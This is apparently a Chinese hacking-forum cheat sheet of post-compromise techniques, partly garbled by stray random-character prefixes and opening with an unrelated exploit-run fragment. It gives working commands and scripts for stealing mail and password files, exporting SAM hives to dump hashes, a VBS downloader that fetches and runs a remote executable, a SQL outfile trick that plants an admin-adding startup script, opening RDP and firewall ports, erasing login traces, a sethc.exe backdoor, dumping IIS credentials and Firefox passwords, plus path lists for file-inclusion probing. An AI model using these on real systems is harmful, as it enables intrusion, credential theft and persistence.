* uid=1001(argp) gid=1001(argp) groups=1001(argp)
; n* d* }! i* R- ]* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
2 j# D# R3 t7 W) E6 O* [argp@julius ~]$ ./nfs_mount_ex
*
  c4 B& ^2 v9 V, w( Acalling nmount()

" q2 Y+ M0 {# D4 _( y( v* I（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
* R. m! c. o6 ~8 T3 E9 S4 K————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
  u' H: i, l9 d0 b* `1 d- B3 Kalzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
# l5 }: h: S3 l  M/ W' o# M注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
2 g' V0 W& r4 a; b# U若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
8 A( v; Q! G: h3 e/ M那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
1 D* q/ f& h7 y3 B
提权先执行systeminfo
token 漏洞补丁号 KB956572
- `" X' |! s/ ^Churrasco          kb952004
7 S6 R5 c; H' S命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
, b  U/ A4 r/ G8 m. [( W1 ^6 G) y2、收集系统信息的脚本  
for window：
" q, i+ b5 @: j* E" T# [
@echo off
" E( K1 J3 ~1 e# I/ zecho #########system info collection
systeminfo
" K6 K5 O3 _8 L4 yver
* ?5 ]; [  o5 o  Dhostname
- a  G  o3 a" B1 R0 P7 @; B0 qnet user
1 H0 s$ `9 U" J3 l4 qnet localgroup
5 w7 {8 t6 v, _& ?$ wnet localgroup administrators
net user guest
net user administrator

echo #######at- with   atq#####
echo schtask /query

echo
; y; |+ N  `6 G" x0 h& J  aecho ####task-list#############
* o& D: D8 R+ \' Rtasklist /svc
' J( Z* {8 C. R& M1 @echo
% m# E) h+ r3 Qecho ####net-work infomation
  _( Q0 J: F' V) Yipconfig/all
6 Q  f' R0 r$ s" r! j' y- uroute print
arp -a
netstat -anipconfig /displaydns
8 T; C; L% }. V$ W( necho
echo #######service############
+ h4 W: b9 \, k6 rsc query type= service state= all
. @3 V- A4 U3 fecho #######file-##############
% A6 M! ^5 a: _  d: @cd \
tree -F
for linux：

#!/bin/bash

echo #######geting sysinfo####
" {) E$ V1 H6 N9 t2 a' Yecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
; ]! Z1 v1 S* }: a7 Q( fecho #######basic infomation##
4 B" h+ Q/ {2 J, Y8 ?! `2 z1 f1 x. \cat /proc/meminfo
2 p* p/ D! _; t: Cecho
7 w* z1 L3 `- s0 l  Ccat /proc/cpuinfo
echo
rpm -qa 2>/dev/null
, `# u' M* W3 e5 n2 X8 Q######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
2 s- v1 F5 P9 T' `
, _% }; n% M# o  X# b  q
echo 'u'r id is' `id`
echo ###atq&crontab#####
/ L3 ~2 {) ^+ l4 B3 Satq
. c( u, i+ m& {, vcrontab -l
5 W5 p$ B/ `. E# {6 J! Y+ s5 e$ `4 \6 Fecho #####about var#####
set

echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
2 _1 O( }8 }2 r! p% k! ycat /etc/hosts
$ k$ u% v" E5 w2 O! W9 p4 whostname
5 u/ o/ ?$ b2 M+ |, F: jipconfig -a
. B4 q. y5 R# f8 t: W2 r, Y& parp -v
echo ########user####
cat /etc/passwd|grep -i sh

1 w+ g2 h  r0 e5 @7 eecho ######service####
chkconfig --list
! y; C) C  C( ?% w- m
( f) o8 t& p) z0 U8 _) |for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
8 n, P8 q1 Q2 l3 w# G3 K7 b7 Odone
, ?& X7 J& x6 X+ T
locate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
locate conf >/tmp/sysconfig 2>dev/null
) w, ~; q. @/ X+ nsleep 5
+ y+ T$ }3 \* \# [7 C% elocate config >>/tmp/sysconfig 2>/dev/null
1 x8 O3 H; `. p( U; |5 A: N* }1 Tsleep 5

1 ]$ ^6 y& Y" S: l- p% W###maybe can use "tree /"###
echo ##packing up#########
  p) F# z2 r" G) e2 j$ u: U+ o; Etar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
, u# F6 z& Q0 @- J——————————————
3、ethash 不免杀怎么获取本机hash。
) N8 l( n$ h2 O$ Q8 h) f首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
! x1 B+ Y/ E- t/ i注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
: X' X9 C& y+ _& K  ]  t——————————————
, B/ q/ L+ l8 L+ E8 T; L4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
5 T& z, T2 @9 f( Y3 w& uecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
1 A* Z. G  H: X+ Oecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

2
On Error Resume Nextim iRemote,iLocal,s1,s2
1 D! P; w! A0 G7 y* I" k1 A& f6 D: l0 eiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
0 c* h5 b( f* R. d5 A* ds1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
4 o8 X6 |7 S1 V3 `6 S; G# z+ N
( h9 {% y& G' L8 m0 [! \: `/ Mcscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
; J. M5 h* T9 ~, M; f' |) {
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
4 k, _- k9 L* k3 X6 b' P——————————————————
5、
+ T" |, l* H: b- i! Q6 F1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
) J7 Z/ ~! B& j8 ?, n( Q! o! z2.开启XP&2003终端服务
  b2 G* k9 G- l$ p3 B8 c6 qREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
' I0 ]4 L* V5 m' t" qREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
' g0 m# s/ x( x1 {  C* A( @REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
; D: Y6 H: S* L0 ^6、create table a (cmd text);
4 J5 k5 j9 l$ O! winsert into a values ("set wshshell=createobject (""wscript.shell"")");
) p& v8 }& `+ N% |- Kinsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
8、for /d %i in (d:\freehost\*) do @echo %i

列出d的所有目录
4 r" [. L2 H7 k8 I  
0 t/ t# _- B3 h  for /d %i in (???) do @echo %i

把当前路径下文件夹的名字只有1-3个字母的打出来

2.for /r %i in (*.exe) do @echo %i
! u! r$ {8 [/ x  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

( ~/ L6 {  Y' j$ }' Y, Y! F( Yfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
6 @# \# g- `8 @) t1 g( V# P- V
* G: v" O  o! e# c! M. f3.for /f %i in (c:\1.txt) do echo %i
  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
5 |/ G: B- u1 Z8 Y; y: c, p/ z
4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
' ]- W4 G8 t+ O) A1 u
  delims=后的空格是分隔符 tokens是取第几个位置
——————————
% H% K( I+ R" X& C( A% p! \●注册表:
' U3 g" O% T3 [; ^- {1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

8 F+ }. b( P" d. B% `3 F7 A9 G6 Y2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.

, K; }/ ]! u3 I7 a, A1 \3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
: v( z) p3 L# R
4.Radmin密码:
$ i, w! C. s& `; {3 P( C5 M) Freg export HKLM\SYSTEM\RAdmin c:\a.reg
7 y1 O; H  P; k. Z
5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

6.IPSec默认免除项88端口(需重启):
; M% c8 x1 T  Freg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
( L% H. q! W8 p2 ^5 P  Tnetsh ipsec dynamic set config ipsecexempt value=0
- S6 u7 ^5 P# F# Y3 u- a4 U: \4 C
7.停止指派策略"myipsec":
* Q: s4 V/ r: r1 C( Rnetsh ipsec static set policy name="myipsec" assign=n
, _! n6 r, ~8 K; d1 Y# t. i8 _
8.系统口令恢复LM加密:
/ x9 C( n# B2 ]7 Y- T, o( freg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
/ v* z) Q% ?6 z5 Oreg save hklm\sam c:\sam.hive
& O2 A. f( w( d% x! P) ureg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive
+ k, R1 x; i' ~0 C* j1 Z
% h% L' Z; R$ @( h0 W10.shift映像劫持
1 I# S+ a0 Q6 n) e; Ureg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
5 p0 U' S" T6 ^1 o& Nexit for
* y& B. j* S6 Q5 O) M5 imsgbox("error!")
- C) F6 ]5 g7 twscript.quit
end if
  e: a# F  G( ?9 P" H- Oserverbindings=IIS.serverBindings
; N8 ?+ t! ^# O8 IServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
6 h! a" W8 U; F3 @% y0 Duser=iisweb.AnonymousUserName
2 Y4 {8 G2 i" w  E8 gpass=iisweb.AnonymousUserPass
, l- m' ?' {, ]- i4 V: ]* X- Ipath=IIsWeb.path
, G+ P1 m( c& O7 w/ E7 `' Qlist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
" r. G8 H+ m6 a0 nend if
% O2 w5 k, B8 V+ S1 y' fNext
$ b1 a- e: W( ~- ^wscript.echo list
% r9 I8 [0 n/ l. aSet ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
复制代码
6 f+ S9 _5 {0 S! I/ C----------------------2011新气象，欢迎各位补充、指正、优化。----------------
, q. j- F  D6 l2 P! M' g' {4 l1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
6 v1 T  h9 A$ `+ z2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
  R& i& _- O" t! {<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
. S7 O) O" ?$ \9 x; N) B3 k复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
$ [- r1 L1 n! D% L, G; j4 ~( W 原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
+ X5 w$ L+ v1 }; i( r 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
4 l4 b! K0 U; I" D# m5 ^ url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

" q" W. l' q& H8 d& \$ C+ i5 [==============================================================
: I1 u$ G9 E/ A/ B2 s' dLINUX常见路径：
& R! S+ N+ T/ ^1 y6 x
/etc/passwd
/etc/shadow
/etc/fstab
/etc/host.conf
/etc/motd
( @$ h" ?( @3 B0 |) \' Y% T/etc/ld.so.conf
- c! D- m6 t  p5 I9 \, p  `9 h/var/www/htdocs/index.php
( D' u: S9 k: V' Z/var/www/conf/httpd.conf
: Z  l& T1 o$ G. C! V/var/www/htdocs/index.html
* `. L' Z2 l" G9 A- I" ]0 o6 H/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
: a: m0 I) ?' U( r4 y: a/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
2 b# A; n4 |0 L  L: M) R" c/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
* k& h1 j0 ^$ V& L  p: n4 y# w" T- Y/opt/www/htdocs/index.html
2 a- Q$ w  o/ P+ I. r2 {/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
% C1 R" O1 ^( m8 R( `; Y3 q/usr/local/apache2/htdocs/index.html
  W8 H% D1 t+ c) j: j- h4 |$ a/usr/local/apache2/htdocs/index.php
& C, x: ?) A1 w. B/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
* H; v: ?+ \' }" l9 }, H/tmp/apache/htdocs/index.html
3 r" P6 ?% b$ e) {6 w4 F2 M9 b& C* z/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/ @1 P. I/ G" I* h/www/php/php.ini
( ?+ q, p. g# }4 s/www/php4/php.ini
/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
) x. T' L: o% ]" u/www/htdocs/index.html
$ Q- W; w3 @; s1 z$ y) q/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
  I) S3 u  ~+ k* P" Q3 U/apache/apache2/conf/httpd.conf
  j. o0 U# {& z) p/etc/apache/apache.conf
3 J  p% F4 z( P9 l  f% W5 [6 P! ~/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
' s: M( {+ J' l4 w. S$ f! i; v/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
" `5 j; J' G7 R- b' A/ H- J$ f: m/etc/httpd/logs/access_log
. U: g- e: t( s/etc/httpd/logs/access.log
! a/ e# i( C0 G# J& [/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
$ r. x) R  x  ^" q  D5 W1 Y/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
- e8 K0 B: l& z* d0 Z: m/var/log/apache2/error_log
+ ~$ p- a: ?- j- H: e1 X/var/log/apache2/error.log
/var/log/apache2/access_log
4 ^+ r5 O7 g7 B/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
0 J! Y) Y' `0 i/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
2 W) ^3 s; X! v) l( o/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
' O# [9 v' H$ T/var/log/error_log
/var/log/error.log
& I+ r. D7 e* _. `/var/log/access_log
/var/log/access.log
$ ]5 U  Q) o% c0 [: G/usr/local/apache/logs/access_logaccess_log.old
: Y( @3 H2 ^- s2 a/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
( [! l; X. n* i/bin/php.ini
/etc/init.d/httpd
+ ]0 v% B- l8 n7 g5 \8 H' w4 p/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
: t6 C( F" E. r5 C2 m( Q% \, A9 u/usr/lib/php/php.ini
& w$ ^% [; n$ I/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
# f; C& p& _4 m- t/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
- O' B6 ^/ |( Y% U! J! e8 p6 i/usr/local/php4/lib/php.ini
4 W. E' Q" {7 O# T/usr/local/php5/lib/php.ini
; K* B* G7 g% o" r7 U" S& \1 Y/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
0 N  A% g& u# E. G( ^/usr/local/apache/conf/httpd.conf
7 z1 l- F! n" p6 u) d/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
3 M# W* w: n" S$ S* r/etc/php4/apache/php.ini
1 h9 r: l) W% b/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
# ~/ h+ c2 V! G. @  M/etc/php5/apache2/php.ini
/etc/php/php.ini
7 M) `! |5 |2 }$ I6 {. P! o/etc/php/php4/php.ini
5 q3 c5 H! q0 N: _$ w/ o! m& o8 l+ r/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
6 l; F' Q8 d4 Y7 L4 l* @/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
! S$ m$ Y: m" K+ [" Q/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5/php.ini
8 Q6 ?+ N4 C, S+ R/php4/php.ini
/php/php.ini
/PHP/php.ini
* e5 T7 X, i" j8 A# a! r) x+ ~/apache/php/php.ini
/xampp/apache/bin/php.ini
4 d, X. C- R6 I$ i. ^* e/ {9 P# }/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
5 ]" n0 ^5 L) P7 |, @* u( j4 d/home2/bin/stable/apache/php.ini
/ T. _. z3 K: C/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
/var/log/mysql.log
  C1 D1 Q/ D2 J/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
4 L" z8 \) ^4 L: \: p( V1 }. K9 l3 O/usr/local/mysql/my.cnf
; _% q& B0 R" V& T2 s/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
9 D7 _: u0 v! G0 r/usr/local/cpanel/logs/stats_log
8 |" B* o- i8 V( {% D: d+ q/usr/local/share/examples/php4/php.ini
* W3 v9 E+ `  N1 \+ e3 G0 f, p) m/usr/local/share/examples/php/php.ini

1 _, y: y2 V! o5 p9 |5 H2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

- ^- X6 J8 `+ a8 w. p' Wc:\windows\php.ini
c:\boot.ini
$ m- T. i1 R& {* }" `  _c:\1.txt
" ~) w  R! z" `! f/ p$ |4 [" ^c:\a.txt
$ {. Q& `5 Q) V; [
c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
# y# e! r+ P( _& n/ wc:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
; O" ], w' L7 u( uC:\WINDOWS\FreeHost32.dll
% Q' w4 q8 S4 Z& d  L1 BC:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe
- H3 I. j( o% ^) A7 t
c:\hzhost\databases\url.asp
4 C/ M, Z# i. b6 {7 V
! \8 T& ~. h$ [2 |% zc:\hzhost\hzclient.exe
" H& i# z+ |: D5 s. xC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

: X. M+ `) Y0 ~! PC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
c:\WWWROOT\index.html
# W& A; @/ }# V: ?+ m" vc:\website\index.html
1 M' T, _4 J2 wc:\web\index.asp
( c7 v' S* X# T( g- l+ kc:\www\index.asp
c:\wwwsite\index.asp
  s5 c7 `+ @: s$ k8 F4 t& K! b1 N% Zc:\WWWROOT\index.asp
1 s1 e, {  v7 u5 e/ Lc:\web\index.php
c:\www\index.php
c:\WWWROOT\index.php
( G1 X+ e% t# M8 z5 rc:\WWWsite\index.php
6 Z# a# K, Q" o6 y! [: n2 jc:\web\default.html
. o( G7 W" N% T% H$ Nc:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
% q0 |% [  q9 n# v9 cc:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
7 o: Y1 o: `/ c5 K$ [6 W; |c:\WWWROOT\default.asp
  `$ P2 h1 ]1 [c:\web\default.php
c:\www\default.php
c:\WWWROOT\default.php
# L9 o, _9 E# L) J6 R& Ac:\WWWsite\default.php
! K9 @3 S# E# x* x9 yC:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
5 s( t" Q* c  E1 u( qc:\winnt\notepad.exe
4 T9 T. l- H# t4 ]' {, R' SC:\Program Files\Microsoft Office\OFFICE10\winword.exe
: Z/ C9 [% X# IC:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
/ a6 W7 {$ W( u0 C, g! y% h2 JC:\Program Files\Internet Explorer\IEXPLORE.EXE
% G; T) T# |9 R( N2 I: g( I5 T5 [7 f+ iC:\Program Files\winrar\rar.exe
6 O5 s" ?. o* K$ dC:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
; e( H& N0 `2 z7 H' B0 w- _C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
* f; d7 h7 P& fc:\ravbin\store.ini
c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
' s  f$ H3 X9 [7 }3 X) ^# iC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
5 b5 g* x. o2 @* R3 p1 Z. rC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
# \. N7 Y2 z) S3 }* uC:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
* K. f$ I7 d. Y5 V8 `1 H# G; RC:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
: x( j0 a1 e3 ~, wC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
9 D! s& J  P6 x" OC:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
, _4 \5 q; [7 }3 ~, gC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
6 d. @* J! P  z* s6 }C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
) z6 A2 Y6 D5 [/ e2 r4 o% ZC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
/ i2 v" R- f% JC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
5 H5 @' ?$ y, {8 nC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
/ R6 x' |5 t+ ?: iC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
$ \1 Y9 L2 C* d7 o8 H; mC:\MySQL\MySQL Server 5.0\my.ini
( S! _7 q3 l, O9 y6 ]" g- IC:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
+ R* r. e% |$ ^0 F/ Z! qC:\Program Files\Oracle\oraconfig\Lpk.dll
& t) |/ k4 ]- d. k% @' gC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
7 \$ k* I6 j. P; I+ [* ~3 gC:\WINDOWS\system32\inetsrv\w3wp.exe
- p) |% E; ?( [, b+ T$ A. i. CC:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
1 H4 B, x# V' E7 ~/ S4 r/ q* YC:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
5 z( ?! y5 W' u& mC:\WINDOWS\system32\config\system
+ n" A0 [: b1 v  ic:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
; c8 I4 {) ]( K* R8 P5 n) @c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
* N6 z! `" N: ?- p1 k4 {c:\program files\tomcat6\bin\version.sh
9 Z' \2 H8 Q' e; E/ s# `- _C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
" m3 g7 k- I- _% R" B) a- V$ kc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
, @, B2 W3 f& J4 K* B, y7 `c:\Apache2\Apache2\bin\Apache.exe
; N$ j' M$ f- z$ Jc:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
& G$ f; ?  X( Z9 J/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
/ p: q. _! ^2 r1 e3 D- c: Gc:\Program Files\QQ2007\qq.exe
0 {% D) v: z* M5 Dc:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
8 y) k! J; }" y$ Q$ oc:\Program Files\Tencent\qq2009\qq.exe
) Y3 ^* x; Q! \! Kc:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
% b0 F; y! |/ g6 p" Jc:\Program Files\Tencent\qq\Users\All Users\Registry.db
